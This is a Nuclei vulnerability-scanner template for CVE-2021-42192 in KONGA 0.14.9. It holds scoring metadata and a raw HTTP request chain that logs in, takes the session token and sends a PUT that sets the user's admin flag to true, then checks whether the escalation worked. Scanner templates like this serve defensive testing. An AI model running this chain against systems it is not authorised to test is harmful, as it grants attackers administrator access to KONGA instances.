nuclei-templates/http/cves/2021/CVE-2021-42192.yaml

90 lines
2.9 KiB
YAML

id: CVE-2021-42192
info:
name: KONGA 0.14.9 - Privilege Escalation
author: rschio
severity: high
description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions.
remediation: |
Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.
reference:
- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
- https://www.exploit-db.com/exploits/50521
- hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192
- https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
- https://github.com/pantsel/konga/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-42192
cwe-id: CWE-863
epss-score: 0.05551
epss-percentile: 0.93226
cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: konga_project
product: konga
tags: cve2021,cve,authenticated,edb,konga,intrusive,konga_project
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"password": "{{password}}", "identifier": "{{username}}"}
- |
POST /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"token": "{{token}}"}
- |
PUT /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_2, "\"admin\":false")
- contains(body_3, "\"admin\":true")
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: id
group: 1
regex:
- '"id":([0-9]+)'
internal: true
part: body
- type: regex
name: token
group: 1
regex:
- '"token":"(.*)"'
internal: true
part: body
# digest: 4a0a004730450221009937ba019c49591d8a5874dd069fee3a13d665ef89a42c99f87a07790501738f02207a678e45a053259259aa3f89ab20c12f3163816d7d9d7f85142f31758ae5077d:922c64590222798bb761d5b6d8e72950